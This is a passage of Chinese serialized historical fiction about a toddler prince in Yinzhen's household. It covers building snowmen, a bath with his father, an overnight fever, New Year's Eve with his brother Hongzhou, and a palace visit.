胤禛便简单的给乌拉那拉氏讲了一下刚才发生的事情。 等胤禛说完,弘晏哭得更伤心了。 呜呜! 又多了一个人知道他滑倒了。 弘晏自己都觉得自己滑倒的样子,像极了弘历养在缸子里的元绪。 “福宝,摔疼了没?”乌拉那拉氏边问着,边上手轻轻揉了揉弘晏有些泛红的鼻尖。 不管鼻尖上的红是摔出来的,还是冻出来的,乌拉那拉氏都心疼的紧。 弘晏张着大嘴哭嚎着,冷风顺势刮进了嗓子里,弘晏忍不住咳了两声。 哭声也就此被打断了。 乌拉那拉氏从胤禛手里抱过弘晏,带着弘晏进屋换了一身干净的衣裳后,接着拿温热的帕子给弘晏擦脸,又给弘晏喂了些姜汤,最后抱着弘晏坐在檀木小榻上,把弘晏的小手放在自己的暖手炉上。 “爷。” 苏培盛出声唤道。 胤禛扭过脸,看到苏培盛手里还捧着白狐皮之后,便明白了苏培盛的意思,转而又对着委屈巴巴的弘晏说道:“福宝,瞧瞧这是什么?” 胤禛话音落下,苏培盛迈步过去,将白狐皮呈到了弘晏面前。 弘晏的注意力自然就被这白狐皮给吸引住了。 乌拉那拉氏知晓胤禛从宫里回来,直接问道:“爷,这是汗阿玛赏下的?” 胤禛出声解释:“是汗阿玛特意赏给咱们福宝的,这张白狐皮贵重在是几年前塞外狩猎时,乃是汗阿玛亲自猎下的一头白狐所得。” 弘晏顿时就明白了这张白狐的价值。 乌拉那拉氏听罢,便先叫流萤好生收起来。 随后,乌拉那拉氏又吩咐银烛,叫外头的奴才将正院的雪给清扫干净了。 免得雪深路滑,惹得弘晏再摔跤。 弘晏一听,赶忙说道:“额凉,窝要玩,玩雪。” 乌拉那拉氏哭笑不得,只哄道:“福宝乖,额娘叫人给你堆个雪人瞧。” 弘晏摇了摇小脑袋:“窝要自己堆。” 胤禛闻言,出声道:“福宝,阿玛陪你一起堆雪人。” 从哪里跌倒就该从哪里爬起来,再过几年,弘晏去了前院,除了读书,也是要学习骑射的。 将来摔的跤,恐怕会更多。 男儿郎,本该有胆色。 不能养的太娇气了。 乌拉那拉氏见眼前父子俩一唱一和的,只道:“那也先吃了午膳,再堆雪人。” 吃饱喝足后,胤禛便抱着弘晏出去了。 乌拉那拉氏则命流萤与银烛准备好姜汤、沐浴 的热水以及父子俩干净的衣裳。 院子里,胤禛问道:“福宝,想堆几个雪人?” 弘晏歪了歪小脑袋,随即开口道:“三个,阿玛,额凉,窝。” 胤禛顿感任务重大,便叫苏培盛与王乳娘一起上场,这样能堆的快一些。 胤禛发号施令,他与苏培盛、王乳娘先将三个雪人的身子给做出来,再做雪人的脑袋,最后点睛的部分就教给弘晏来做。 点睛是最后一步,现在三个雪人的身子还没有做出来,弘晏只瞧着胤禛、苏培盛与王乳娘三个人堆雪人有些无趣,便撅着小屁股挖了一块雪,想要捏一只小兔子出来。 不一会儿的功夫,弘晏就捏成了一个,兴冲冲的捧给胤禛看。 胤禛笑着拿过弘晏手里的雪兔子,便揉进了自己快要做好的大雪球里。 虽然是一块微不足道的雪团,但好歹是弘晏想要帮忙的一份儿热心。 弘晏:??? 胤禛见弘晏愣在原地,以为弘晏想要和自己一块做雪人的身子,是再等自己的下一步指令,便出声道:“福宝,再去挖块雪团来。” 雪团!!! 弘晏气呼呼的喊道:“阿玛,那是窝做的兔子。” 这回是胤禛愣住了。 兔子??? 就那块歪歪扭扭的雪团?! 胤禛看了看气鼓鼓河豚似的弘晏,又瞧了瞧自己快做好的雪人身子,当即表示要赔给弘晏一个雪兔子。 弘晏这才点了点头。 胤禛挖了一块干净的雪,两只手上下舞动着,紧接着就像变戏法似的,一只雪兔子已然出现在弘晏面前。 胤禛又唤王乳娘去小厨房拿了两颗红豆,来给雪兔子做了眼睛。 点睛之后的雪兔子跟真的一样,弘晏双手接过雪兔子,迫不及待的进屋子给乌拉那拉氏分享去了。 “额凉,快看。”弘晏笑嘿嘿的将一只雪兔子捧到乌拉那拉氏面前。 乌拉那拉氏笑道:“真好看,是谁捏的?” 弘晏忽闪着大眼睛说道:“阿玛。” 听到是胤禛捏的雪兔子,乌拉那拉氏有些意外。 看来胤禛今日心情不错,有闲情雅致哄着福宝玩耍了。 第64章 第64章父子共浴 乌拉那拉氏见弘晏还要出去,忙开口哄道:“福宝乖,陪额娘在屋子里待会儿,等你阿玛堆好了雪人,再出去也不迟啊。” 弘晏感觉到手心里传来异样,便将雪兔子举的高高地,更是忽闪着眼睛看向乌拉那拉氏。 乌拉那拉氏这便明白了。 因着屋子里燃着碳火,十分温暖,所以那雪捏的兔子开始化了。 乌拉那拉氏遂开口道:“额娘让人帮你把雪兔子放到院子里去,福宝跟着额娘在屋里就成了。” 弘晏摇了摇小脑袋,倔强道:“窝要雪兔子,还要看阿玛堆雪人儿。” 话音落下,弘晏不待乌拉那拉氏反应,就哒哒的跑出去了。 外面的雪下小了些,而三个雪人的身子已然堆好,胤禛、苏培盛、王乳娘已经开始做雪人的脑袋。 弘晏则找了一块干净的雪,撅着小屁股蹲在地上,照着胤禛捏的雪兔子,专注的捏了起来。 弘晏是全神贯注了,可他的两条小短腿开始发麻,有些支撑不住了。 弘晏察觉到以后,便想站起来,可是因为身上裹得太厚又加之腿软腿麻,没站稳直接坐在了地上。 弘晏愣了一秒,转而骨碌着眼睛珠望了望四周。 胤禛等人都将心思用在了做雪人脑袋上,暂时还没有人发现他的动静。 弘晏有些窃喜,随即用手撑着地面,撅着小屁股站了起来,又轻轻地拍了拍自己身上的雪。 将这一切动作做完之后,弘晏装作什么都没有发生过的样子,继续捏自己的雪兔子。 待三个雪人堆好,胤禛吩咐王乳娘拿来了点睛所需的用品。 接着,胤禛将弘晏高高托起,教弘晏拿着石头来给三个雪人点睛,而萝卜自然就是雪人的嘴巴了。 如此,三个雪人就大功告成了。 弘晏很是满意,对着屋内喊道:“额凉,快出来看雪人儿了。” 话音落下不久,乌拉那拉氏就迈着花盆底出来了。 弘晏迫不及待的走过去拉着乌拉那拉氏走近些,转而给乌拉那拉氏介绍起院子里的三个大雪人。 弘晏先是指着那个体积最大的雪人说道:“这个是阿玛。” 而后,弘晏又指着右边体积相对小一些的说道:“这个是额凉。” 最后,弘晏指着中间的那个小雪人,骄傲道:“这个是窝。” 三个雪人介绍完毕,乌拉那拉氏一把将弘晏抱进怀里,对着弘晏的小脸蛋儿亲了一下。 这小脸蛋儿凉丝丝的。 “福宝真能干,玩够了吧,快跟跟额娘进屋去。”乌拉那拉氏说着,脚步已然抬起,抱着弘晏进屋去了。 胤禛见状,迈着步子跟了进去。 乌拉那拉氏让父子俩个坐在炭盆旁烤手,又端来了姜汤。 胤禛爽快的一口闷下,弘晏由王乳娘拿着羹匙来喂姜汤。 弘晏小朋友硬是皱着小脸儿,喝了姜汤。 那香甜的红糖水混合着辛辣的姜味儿缓缓流入他的肚子里去了。 待父子俩人身上暖和起来,乌拉那拉氏又让胤禛与弘晏沐浴去。 胤禛瞧着眼前的王乳娘要抱弘晏去沐浴,脑子里忽而来了主意,开口问道:“福宝,与阿玛一同沐浴,如何?” 弘晏思考了一瞬,转而答道:“好啊。” 既然便宜阿玛盛情相邀,那他就勉为其难答应吧。 而一旁的王乳娘则迟疑的看向了乌拉那拉氏。 乌拉那拉氏也有些怀疑胤禛的能力,确认的问道:“爷,你成吗?” 胤禛觉得自己被小瞧了,随即抬了抬下巴:“自然成。” 胤禛说完,大手向前一伸,直接抱着弘晏就往净室去了。 而弘晏笑哈哈的窝在胤禛怀里,伸出小手向乌拉那拉氏比出拜拜的动作。 这厢,胤禛带着弘晏到了净室中,先将手伸入木桶中试了一下水温,触感正好,随后就脱了他与弘晏的衣裳,紧接着抱着弘晏进了浴桶中。 因着弘晏年纪太小,是以大浴桶中又放了一个小浴盆来给弘晏洗澡用。 弘晏的小脚丫刚触碰到热水,就缩起脚来喊烫。 胤禛这才恍然大悟,幼儿的感知与大人不同,方站起身来,一只手托着光溜溜的弘晏,一只手拿着水瓢往小浴盆中添了冷水。 水温的问题是解决了,可弘晏瞧见那案桌上放着的盛满花瓣的花篮,又嚷着要花花,胤禛已然在浴桶中泡舒服了,自然不想再度起身,便唤苏培盛进来。 而苏培盛拿着花篮往弘晏的小浴盆中撒花瓣时,弘晏便伸着小手够花篮,嘴里更是喊着:“苏苏。” 因为泡热水澡从而放松的闭目放空中的胤禛听到这个称呼,睁开眼睛纠正道:“福宝,你该唤苏公公,怎能喊叔叔?” 弘晏一本正经的解释道:“是苏苏,不是叔叔。” 苏培盛瞧着胤禛没有听明白,满是尴尬的开了口:“回爷,六阿哥唤的是奴才的姓氏。” 胤禛明白过来,笑了笑。 苏培盛往弘晏的小浴盆里撒花瓣儿,弘晏就往胤禛泡的大浴桶丢花瓣,到最后更是命苏培盛将花篮里的花瓣儿都丢进大浴桶里。 弘晏还不忘解释:“花花,香香。” 便宜阿玛要洗得香香的才好。 苏培盛哪里敢胡来,看向了胤禛,等着胤禛示下。 可却不见胤禛开口。 苏培盛明白了,胤禛这是默许了。 随即,苏培盛便将剩下的花瓣儿都撒进了大浴桶中。 接着,苏培盛又给父子俩的浴桶和浴盆添了热水,便掩门出去了。 弘晏自己和浮在水中的花瓣玩起了游戏,一会儿拿手将花瓣压下去,一会儿又把花瓣捧起来放到鼻子前嗅一嗅,一会儿又偷偷地将自己浴盆中的花瓣儿也丢进胤禛的大浴桶中,随后又装作什么都没有发生 的样子。 弘晏所有的小动作,胤禛都收入眼底,只不过胤禛是装作不知,随他去了。 很快,弘晏觉得玩花瓣儿没意思了,就用双手捧起水往胤禛的胸膛上泼去。 在胤禛看过来的时候,弘晏只忽闪着大眼睛嘿嘿笑着。 胤禛大手一伸,将光溜溜的弘晏从小浴盆中提溜出来,抱到自己怀里,随即腾出一只手,在弘晏的小屁股上轻轻拍了一下。 弘晏也不甘示弱,伸出小手拍了拍胤禛的胸膛。 胤禛勾了勾嘴角,随即又将弘晏放回到浴盆里,拿起巾帕给弘晏擦洗身子。 当胤禛擦洗到嘎吱窝的时候,弘晏痒的咯咯笑起来。 而此时的正屋内,乌拉那拉氏自顾自的说道:“怎洗了这么久,还未洗完?” 银烛接话道:“那奴婢去问问苏公公?” 乌拉那拉氏闻言,摇了摇脑袋:“再等会儿吧。” 胤禛自告奋勇的要带着弘晏洗澡,她不好催促的。 净室内,胤禛费了不少功夫,总算是给弘晏擦洗干净了,立马叫苏培盛进来给弘晏擦干身子、穿衣服。 弘晏很是配合苏培盛给自己穿衣服。 通过今天的体验,弘晏已然觉出来了,便宜阿玛洗澡的手法不如额娘和王乳娘,不过陪玩倒是挺不错的。 待苏培盛给弘晏穿完衣服,胤禛也已经穿好衣服了,便直接抱着弘晏找乌拉那拉氏去。 “额凉~” 弘晏奶呼呼的喊完乌拉那拉氏,就迫不及待的伸出小手要乌拉那拉氏抱自己。 待弘晏到了乌拉那拉氏的怀里后,就将小脑袋窝在乌拉那拉氏怀里,小嘴瘪着,一句话也不说,好似受了天大的委屈似的。 而胤禛饶有兴趣的望着弘晏。 乌拉那拉氏瞧了瞧胤禛,见胤禛并未打算说些什么,就只好问向怀里的弘晏:“福宝,这是怎么了?” 弘晏方扬起小脸蛋儿,委屈巴巴的说道:“阿玛打窝屁屁。” 胤禛眉头一跳,小家伙怎么能红口白牙的胡说八道呢。 明明他当场就打回来了。 “爷是跟福宝闹着玩呢。”胤禛开口解释。 乌拉那拉氏这便明白了,笑呵呵的拿了一颗蜜饯喂给弘晏。 陪着弘晏玩闹了许久,胤禛带着苏培盛回前院处理余下的公务。 等天擦黑,热气腾腾的晚膳就上了桌,因着今日下雪,乌拉那拉氏让小厨房做了羊肉锅子,里面有弘晏爱吃的萝卜。 可让乌拉那拉氏意外的是,弘晏却没吃几口。 乌拉那拉氏不解问道:“福宝,你不是最爱吃羊肉汤里的萝卜了吗?” 弘晏糯糯的回答道:“窝不饿。” 既然弘晏不饿,乌拉那拉氏也没有再劝弘晏多吃些,本来晚膳就该少吃些,省得积食。 乌拉那拉氏便叫王乳娘带着弘晏先去小榻上玩儿。 可没过多久,坐在檀木小榻上的弘晏已经歪着小脑袋睡着了。 王乳娘见状,便抱着弘晏进了内室。 还在用晚膳的乌拉那拉氏笑道:“福宝玩了一下午,费了不少精神,看来是累着了。” 一旁的银烛附和道:“难得王爷今日有雅兴,带着六阿哥玩雪、洗澡,奴婢瞧着六阿哥可高兴了。” 雍亲王府的四位阿哥里,她们六阿哥可是头一份儿的。 到了半夜,躺在外侧的乌拉那拉氏忽而听见拔步床里侧传来有些含糊的哼唧声,还未完全从睡梦中清醒的乌拉那拉氏只以为是弘晏要出恭,可当乌拉那拉氏触碰到弘晏的手时,却发觉弘晏的手是凉的。 乌拉那拉氏的脑袋一下子就清醒了。 弘晏的哼唧声渐大,乌拉那拉氏摸向了弘晏的脸蛋儿和额头,却是滚烫的厉害。 乌拉那拉氏有些焦急的唤道:“福宝,福宝。” 弘晏没有睁眼,更没有回应。 乌拉那拉氏拉开拔步床上的帐幔,冲着隔扇门的方向喊道:“来人,快来人呐。” 第65章 第65章发高热了 正院乱作一团,而相隔不久的潇湘阁却是万籁俱寂。 在院子里守着小喜子听说了正院的动静,忙迈着步子上了石阶,禀报了在屋檐下守着的师傅苏培盛。 苏培盛权衡过后,还是迈步进了屋子,对着隔扇门里唤道:“爷,不好了,六阿哥突发高热。” 随即,黑漆漆的内室里亮了起来,苏培盛听到胤禛召唤自己的声音后,忙推开门进去了。 胤禛正在穿衣,一旁的年侧福晋则拿起了胤禛的腰带。 胤禛瞥了一眼苏培盛,问道:“苏培盛,柳从南可去了正院?” 苏培盛弓着腰回答道:“回爷的话,柳大夫去了,可六阿哥情形如何,奴才确实不知。” 胤禛颦着眉,加快了穿衣的速度。 年侧福晋瞧见了胤禛眉间聚起的一团愁云,出声道:“妾身与爷一同去吧。” 胤禛按了按年侧福晋的肩膀:“你身子弱,好好歇着吧。” 话音落下,胤禛便转身而去。 苏培盛冲着年侧福晋微微颔首,也跟着胤禛出去了。 年侧福晋通过窗户瞧见了胤禛那疾步且匆忙的背影逐渐隐入夜色中去,随即开口唤道:“桃夭,替我更衣。” 桃夭闻言,立马劝道:“侧福晋,您身子刚养好些,天寒地冻的还是别去了,何况王爷也让您好好歇着了。” 年侧福晋的眼睛转而望向桃夭,一字一句解释:“今晚这动静,爷宿在我房中众人皆知,我又岂能安睡于榻?” 桃夭听罢,不再多言,立马拿了杆子上的衣服,为年侧福晋穿上,又给年侧福晋批上了斗篷,主仆二人才往正院去。 而胤禛赶到正院内室时,瞧见的便是流萤捧着铜盆蹲在拔步床前,而乌拉那拉氏正拿着沾了温水的帕子给弘晏擦拭身体。 胤禛大步走过去,抬手摸向了弘晏的额头,烫得厉害。 胤禛将手收回去,瞧着昏迷不醒小脸通红的弘晏,有些焦躁:“柳从南呢?” 流萤出声答道:“回王爷的话,柳大夫熬药去了。” 流萤声落,外间便传来苏培盛给年侧福晋的请安声。 胤禛的视线看向了走来的年侧福晋:“不是叫你好生歇着吗?” 年侧福晋边往拔步床的方向走来,边回道:“妾身挂念六阿哥。” 年侧福晋瞧见了小脸通红的弘晏,一时也是心疼的紧,一抬眸,又瞧见了乌拉那拉氏红了的眼眶,便开口安慰道:“福晋,六阿哥吉人自有天相,不会有事的。” 年侧福晋话音刚落,柳从南正好端着药碗进来。 胤禛遂掀起衣袍坐在拔步床上,将弘晏抱在怀里,好方便乌拉那拉氏给弘晏喂药。 乌拉那拉氏吹了吹,将调羹喂到弘晏嘴边,只是弘晏昏迷不醒,嘴也长不开,那喂进去的汤药又顺着嘴角流出来了。 乌拉那拉氏见状,忙拿着帕子给弘晏擦嘴。 胤禛直接上手捏开了弘晏的嘴,乌拉那拉氏一勺一勺的将药汤喂进去。 待一碗汤药喂完,胤禛又将弘晏放回到拔步床上。 此时,立在一旁的柳从南开了口:“爷,福晋,六阿哥服了药,若天亮退了热,便无大碍了。” 胤禛听罢,挥了一下右手。 柳从南就此退出去了。 胤禛又抬眸望向了年侧福晋:“夜深了,你也先回去吧。” 年侧福晋正欲说些什么,却忽觉嗓子痒,咳了一声,忙用帕子掩住了唇。 胤禛见状,直接吩咐道:“桃夭,送侧福晋回去。” 桃夭应声,便要扶着年侧福晋出去,年侧福晋见自己在这里帮不上什么忙,朝着胤禛与乌拉那拉氏福身后,方才搭着桃夭的手迈步出去了。 内室的屋子里燃着炭盆暖和的紧,年侧福晋陡然出了屋子,刚行至廊下,冷风拂面而过,又咳了起来。 桃夭见状,即心疼又替自家主子委屈,随即抬起手来一边给年侧福晋顺着后背,一边出声道:“侧福晋,奴婢就劝您别跑这一趟,夜深受了寒气不说,福晋连个正眼儿也没有给您。” 银烛本是送年侧福晋 回去,如今听了这话,上去就给了桃夭一耳光:“贱蹄子,福晋也是你能出言埋怨的?” 待到天亮时分,六阿哥能不能退热还是未知,福晋的心都要碎了,哪里还能有心情支应年侧福晋轻飘飘的两句话。 桃夭被突如其来的一巴掌打懵了,脸上火辣辣地疼。 年侧福晋见状,出声道:“银烛姑娘,桃夭是我没有,咳咳,管教好,咳咳。” 桃夭此时也顾不上脸疼,又赶忙给年侧福晋顺气。 屋内的胤禛听到动静,迈步而出:“嚷什么?” 年侧福晋缓过气儿来,忙解释道:“回爷,是桃夭不懂事,说错了话,妾身带她回去好好管教。” 屋檐下挂了灯笼,胤禛望了一眼桃夭脸上的巴掌印,又瞧了瞧银烛不太好看的脸色,方对着年侧福晋说道:“桃夭失言,罚俸两月,回潇湘阁后,叫柳从南给你瞧瞧。” 年侧福晋听罢,柔柔的开口:“妾身这是老毛病了,回去歇歇便好,倒是爷,莫要着急上火,保重身子才是。” 胤禛听罢,点了点头,又上前两步,抬起手将年侧福晋身上的斗篷往里拢了拢,而后回了屋子。 这厢,弘晏额头上放着的凉帕子热了,乌拉那拉氏又换了一条新的敷在弘晏额头上。 乌拉那拉氏的余光瞧见了胤禛进来,出声道:“福宝这里有我照顾,爷还是回潇湘阁歇息去吧,免得耽误明日的政事。” 胤禛掀起衣袍坐在了拔步床旁的绣墩上:“无妨,明日告假便是,爷陪着你也是好的。” 乌拉那拉氏没应胤禛的话,两个人就这么静静地坐着,守着拔步床上昏迷的弘晏。 一夜过后,弘晏的大脑逐渐清醒,他感觉自己好像睡了好久好久,弘晏睁开了眼睛,先瞧见的便是趴在拔步床沿熟睡的乌拉那拉氏,又一扭脸,望见了头靠着床栏坐着睡着的胤禛。 乌拉那拉氏与胤禛是衣不解带的守了自己一晚上吗? 他只记得昨晚好像在檀木小榻上睡着了,然后就什么也不记得了。 弘晏小手攥拳揉了揉眼睛,然后骨碌着小身子坐了起来。 弘晏感到奇怪,他不过是完成个翻身坐起来的动作,竟然感觉比平日里要吃力些。 弘晏用力握了握自己的拳头,却感觉自己跟棉花一样软绵绵地使不上力气。 乌拉那拉氏睡得并不安稳,听到因着弘晏坐起来的动作而发出的声响时,就醒过来了。 “福宝。” 乌拉那拉氏惊喜的喊了一声,而后直接将弘晏抱进了怀里,用脸去贴弘晏的额头,凉丝丝的,可算找到是退热了。 弘晏发觉乌拉那拉氏将自己抱得紧紧的,有些喘不过来气,便拍着乌拉那拉氏的袖子喊道:“额凉,勒勒。” 乌拉那拉氏闻言,赶忙松了力。 胤禛此时也醒了,立马吩咐苏培盛唤柳从南进来。 等柳从南来了,弘晏才明白原来是自己半夜起了高烧,怪不得自己觉得身上没力气呢。 柳从南给弘晏诊完脉,起身禀道:“回爷,回福晋,六阿哥退了热,已然无碍了,只是还需休养几日,不可再受寒气了。” 柳从南话音刚落,“咕咕”的声音响起来了。 弘晏有些不好意思的摸了摸自己的小肚子。 乌拉那拉氏见状,忙叫流萤端些吃的来。 “爷都听见了,福宝已然无碍,爷还是回去睡一觉,歇上一歇。”乌拉那拉氏说完,又喊道:“苏培盛,好生照顾爷。” 胤禛见乌拉那拉氏直接下了逐客令,满是慈爱的看了弘晏一眼,方抬步出去了。 弘晏好像有些明白了。 自己发高烧许是因为昨日在雪地里玩了太久,洗澡时又和便宜阿玛玩了起来,这才着了凉,而自家额娘定也是猜到这个原因生便宜阿玛的气了,而便宜阿玛自知理亏,所以一句话也不吭声了。 事实证明,弘晏的猜测是正确的。 因为这两日胤禛来正院探望他时,乌拉那拉氏的态度总是不冷不热的。 是以,屋子里弥漫着一股尴尬的气息。 “福宝,张嘴。” 听到乌拉那拉氏的话,弘晏配合的张了口,将米糊喝下去。 这两日,他不是喝苦药汤,就是喝米糊糊,一点儿油水都没有。 可弘晏也知晓自己没理,所以很是听话,也不嚷着到外面玩了,虽然乌拉那拉氏绝对不会放他到外面去玩。 眼瞧着乌拉那拉氏与胤禛就这么冷战下去,弘晏可受不了,于是弘晏主动开口,想要打破僵局:“阿玛,喂喂。” 乌拉那拉氏闻此言,拿着调羹的手停在了半空中,转而将剩下的半碗米糊糊递给了王乳娘,再由王乳娘递到胤禛手上。 胤禛嘴角微微扬起,舀起一勺米糊糊送到嘴边吹了吹,方才喂给弘晏吃。 待米糊吃完,乌拉那拉氏拿着帕子给弘晏擦了擦嘴。 到了晚上,弘晏见乌拉那拉氏与胤禛两个人还没有破冰的迹象,只好再度出击:“阿玛,手。” 胤禛虽不明其意,但还是配合着将手朝着弘晏的方向伸了过去。 弘晏左手拉起胤禛宽大的手,而后右手又拉起乌拉那拉氏细嫩的手,紧接着将胤禛的手覆在乌拉那拉氏的手上,最后将自己的小肉手撤出去。 乌拉那拉氏没想到弘晏是这个意思,她还恼着胤禛,便想要将手抽出去,不料却被胤禛给拉住了。 弘晏瞧着便宜阿玛还算上道,于是很是放心的抬起头,对着王乳娘说道:“抱抱,睡觉觉。” 王乳娘赶忙上前将弘晏抱起来,而后带着弘晏到隔壁的耳房去了。 第66章 第66章压岁封红 弘晏冬日里发了一回高热,让乌拉那拉氏心有余悸,是以乌拉那拉氏照顾弘晏的衣食起居更加仔细,为了避免弘晏再染上寒气,乌拉那拉氏也不许弘晏再到院子里玩耍。 弘晏很是理解乌拉那拉氏的苦心,坐在乌拉那拉的膝头,小脑袋窝在乌拉那拉氏身上,糯糯的喊道:“额凉,福宝乖乖。” 乌拉那拉氏闻言,心里一暖,俯身亲了亲弘晏的小脸蛋儿:“额娘的福宝是最乖的。” 日子很快到了除夕夜,胤禛与乌拉那拉氏本打算带着弘晏一同入宫的,可偏偏又下了雪,夫妻俩便打消了这念头。 弘晏可就不乐意了,撅着嘴哼哼个不停。 乌拉那拉氏态度坚决,就算是弘晏撒娇耍赖也不好使了,只是走之前,乌拉那拉氏命王乳娘带着弘晏去邀月轩找弘昼玩。 弘昼有些日子没见弘晏了,眼见着人来开心的不行,连连向乌拉那拉氏与胤禛保证会看顾好弘晏。 弘晏还生着气,就连乌拉那拉氏与胤禛走时,也不抬头瞧他们。 弘昼将脸凑过去,忽闪着眼睛道:“弟弟,哭丧脸作甚?哥哥带你放烟花。” 对于弘昼来说,胤禛不在府里,乃是天大的好事。 放烟花? 弘晏的眼睛立马亮了起来。 耿格格知道弘昼一向是胆大的,之前也曾放过烟花,可弘晏金贵,她可不敢让弘晏去放,只带着弘晏在廊下看弘昼放烟花就是。 弘昼从小太监手里接过了点燃的香,走到院子中间,而后扭头笑嘻嘻的冲着弘晏眨了眨眼睛:“弟弟,你可瞧好了。” 话音落下,弘昼便点燃了烟花的引火线。 下一瞬,只听得“嗖”一声,绚丽的烟花展现在弘晏面前。 弘晏笑嘿嘿的拍了拍手:“锅锅,棒棒。” 烟花放完,弘昼拉着弘晏进了屋子。 两个小人儿坐在炭盆前取暖,那炭盆上烤着红薯、栗子和蜜橘。 蜜橘最易烤,耿格格瞧着火候差不多了,便剥了橘子皮,撕去上面的橘丝络,先将橘子平分成两半儿,递到嘴边吹了吹,方递给弘晏和弘昼。 弘晏掰下一个橘子瓣儿,送到了口中。 这用火烤过的橘子,吃起来别有一番风味呢。 待嘴里的橘子咀嚼完,弘晏又掰下一个橘子瓣儿递给了耿格格。 耿格 格先是一愣,而后笑道:“六阿哥吃吧,这橘子多着呢。” 弘晏将橘子瓣往耿格格的方向送了送,笑眯眯道:“姨凉吃。” 耿格格不好再推拒,伸手接过了弘晏手里的橘子瓣儿:“好,姨娘吃,谢谢六阿哥。” 这厢,弘昼瞧着炭盆上那栗子棕色的硬壳已然裂开了口子,一股香甜味儿蹿进了他的鼻子里。 “额娘,这栗子肯定能吃了。”弘昼说着,便上手去拿栗子。 下一瞬,弘昼龇牙咧嘴的喊道:“哎呦,烫烫。” 弘昼的手刚触碰到栗子一秒,便被烫得缩了回去,接着给自己吹着手。 耿格格见状,无奈道:“你呀,稳当些,急什么。” 而弘晏瞧见了,便将小脑袋凑过去,鼓起嘴给弘昼举起的手吹气。 弘昼望着耿格格,眼神里既有抱怨又有炫耀:“还是弟弟疼我,哪里像额娘一样。” 耿格格抬手将刚剥好的栗子果肉塞进了弘昼的嘴里,嫌弃道:“额娘也疼你,快些吃吧。” 粗鲁的喂完弘昼,耿格格又拿起一颗栗子,随即将栗子掰开来,而后将小块儿些的喂给弘晏。 弘晏吧唧着小嘴,吃得十分满足。 吃完栗子和蜜橘,红薯也熟了,耿格格拿着帕子将红薯包起来,而后从中间掰开,将一半红薯递给弘昼吃,剩余的一半红薯,则拿起调羹挖着,一点儿一点儿的喂给弘晏吃。 弘晏觉得烤出来的红薯可比红薯糊糊香甜多了,还是耿格格与弘昼会吃。 红薯虽甜,到底干了些,耿格格怕弘晏吃多了口渴,又让秋叶端来了两碗牛乳,一碗给弘昼,一碗给弘晏。 吃饱喝足,弘晏对着耿格格奶呼呼的说道:“谢谢姨凉。” 耿格格拿着帕子给弘晏擦嘴上的一圈奶渍,笑道:“六阿哥不必客气。” 弘昼总是待不住的,对着弘晏说道:“弟弟,我们来玩玩偶吧。” 弘晏笑着应声:“好啊。” 弘昼把自己的玩偶都拿出来,让弘晏挑一个,玩偶虽然多,但却没有兔子,弘晏便选了一个小熊玩偶。 弘昼见状,笑着拿起了布老虎,随即粗声粗气的说道:“小狗熊,本大王来吃你了。” 弘晏拿着小熊玩偶哒哒跑起来,弘昼则拿着布老虎张着大嘴开始追弘晏:“小狗熊,本大王马上就要追上你了。” 弘晏边跑,边笑嘿嘿的躲着弘昼。 —— 待乌拉那拉氏与胤禛从宫中赴宴回来走进邀月轩时,弘晏与弘昼两个小人儿玩累了,已然在小榻上睡着了。 而耿格格正坐在小榻旁守着两个孩子。 见乌拉那拉氏与胤禛进门,耿格格站起身朝着二人福身。 乌拉那拉氏瞥了一眼熟睡的小团子,方压低声音对着耿格格道:“耿妹妹,辛苦你照料福宝了。” 耿格格欠身道:“福晋说的哪里话,有六阿哥在,弘昼稳当多了,我还省心了不少。” 寒暄过后,乌拉那拉氏走到小榻旁,小心翼翼的将弘晏连带着小被子一起抱到怀里。 弘晏睡得沉,吧唧了一下嘴巴,并没有醒。 乌拉那拉氏随即抱着弘晏回了正院。 胤禛看着耿格格说道:“库房里有两匹妆花缎颜色极衬你,待会儿叫苏培盛送来。” 耿格格闻言,福身道:“多谢王爷。” “夜深了,你与弘昼也早些安寝吧。”胤禛说完,便转身撵上乌拉那拉氏同往正院去了。 翌日天亮,弘晏从拔步床上醒来时,看到周围的布局,发觉自己身在正院的内室,而非是邀月轩。 想来是昨晚乌拉那拉氏回府后,将自己抱回来了。 弘晏这般想着,而后骨碌着小身子坐起来,却发觉枕头下露出了红色的一个小三角。 弘晏好奇的推开枕头,瞧见枕头下面放着两个封红。 弘晏眼睛刷的亮起来,而后将两个封红举起来,把封口打开,将封口冲着下面抖了抖,掉出来了好几个金锞子。 弘晏高兴极了。 想来这是乌拉那拉氏与胤禛给自己的压岁钱了。 外间的乌拉那拉氏听到动静,便推开门进来,瞧见的便是拔步床上的小团子正笑眯眯的捏着金锞子。 乌拉那拉氏往里走去,柔柔唤道:“福宝。” 弘晏仰着小脸儿:“额凉。” 乌拉那拉氏抱起弘晏,给弘晏洗漱穿戴好,就抱着弘晏去外间用早膳。 今个儿是康熙五十四年,正月初一,王府里的人都会早早的来给她请安地。 果不其然,乌拉那拉氏与弘晏刚用完早膳,众人便都在院子里侯着了。 乌拉那拉氏将弘晏交给王乳娘,自己则端坐在了主位上,而后用眼神示意银烛叫众人进来。 众人齐齐道:“妾身给福晋请安。” 乌拉那拉氏一个眼神,流萤便将早就准备好的封红一一呈上。 待众人落座后,弘时、弘历、弘昼兄弟三人从左到右站成一排,齐声道:“儿子给嫡额娘请安。” “都起来吧。”乌拉那拉氏说完,看向了银烛,银烛将三个封红呈上。 众人都知乌拉那拉氏还需进宫,便都早早地起身告退了。 而弘昼在迈出屋子之前,朝着弘晏眨了眨眼睛,弘晏回以一笑。 门房来报马车已然备好,乌拉那拉氏便带着弘晏进宫去。 许是新年伊始,德妃脸上都是笑吟吟的,甚至还主动提出要抱一抱弘晏。 乌拉那拉氏虽意外,可也无法推辞,便让王乳娘将弘晏抱了过去。 德妃将手上精美的护甲卸下,接过弘晏,让弘晏坐在自己的膝头。 许是弘晏瞧德妃的眼神太过直白,德妃感到好笑,遂问道:“怎么?不认得玛嬷了?” 弘晏软糯糯的喊道:“玛嬷。” 德妃朝着弘晏的脸上摸了一把:“乖。” 底下的弘暟见状,有些心痒痒,便走上去说道:“玛嬷,我也要抱弟弟。” “你?你可不成。”德妃说着,还瞥了一眼乌拉那拉氏,又道:“别摔了弘晏。” 完颜氏见状,也是劝道:“弘暟,快些回来。” “我就要抱弟弟。”弘暟说完,走到了乌拉那拉氏面前,求道:“四伯母,我可以抱抱弟弟吗?我力气可大了,绝对不会将弟弟摔了的。” 弘暟说完,还怕乌拉那拉氏不信,将自己的胳膊举了起来。 乌拉那拉氏瞧着满脸渴望的弘暟,拒绝的话说不出口只嘱咐道:“好,不过福宝穿得有些厚,你小心些就是了。” 